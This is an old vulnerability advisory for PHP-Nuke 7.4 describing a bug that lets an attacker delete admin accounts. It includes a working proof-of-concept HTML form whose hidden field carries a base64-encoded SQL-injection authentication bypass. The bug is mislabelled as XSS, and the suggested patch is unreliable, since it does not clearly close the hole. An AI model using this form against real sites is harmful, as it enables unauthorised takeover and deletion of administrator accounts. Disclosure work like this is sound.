[XSS] PHP-Nuke 7.4 DelAdmin Bug

[Pierquinto Manco <mantra@xxxxxx>]

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*                       CODEBUG Labs
* Advisory #2
* Title: DelAdmin Bug
* Author: Pierquinto 'Mantra' Manco
* Product: PHP-Nuke 7.4
* Type: XSS
* Web: http://www.mantralab.org
*
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                      Delete Admin Bug
 
- ) Description
PHP-Nuke is a very bugged web CMS, version 7.4 has critical
XSS bug that permit to an attacker to delete any Admin account 
except God admin.
This bug is very old too but we can bypass the patch sending data 
by POST instead of GET.

- ) Proof-of-Concept
Create a HTML file with this lines:

<form name="mantra" method="POST" 
action="http://www.sitewithphpnuke.com/admin.php";>
   USERNAME: <input type="text" name="del_aid">

    <input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
    <br>
    <input type="hidden" name="add_radminsuper" value="1">
    <br>
    <input type="hidden" name="op" value="deladminconf">
      <input type="submit" name="Submit" value="Delete Admin">
    <br>
  </p>
</form>

- ) Patch

Apply this code to your admin.php file:

if ( !empty($HTTP_GET_VARS['op']) ) {
        $op = $HTTP_GET_VARS['op'];
}

if ( !empty($HTTP_POST_VARS['op']) ) {
        $op = $HTTP_POST_VARS['op'];
}

-) Note

There are a lot of this problem in PHP-Nuke 7.4, my patch will check
the content of $_POST[op] and $_GET[op].
I'm going to post all this vulnerabilities on my site...
http://www.mantralab.org

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                http://www.mantralab.org
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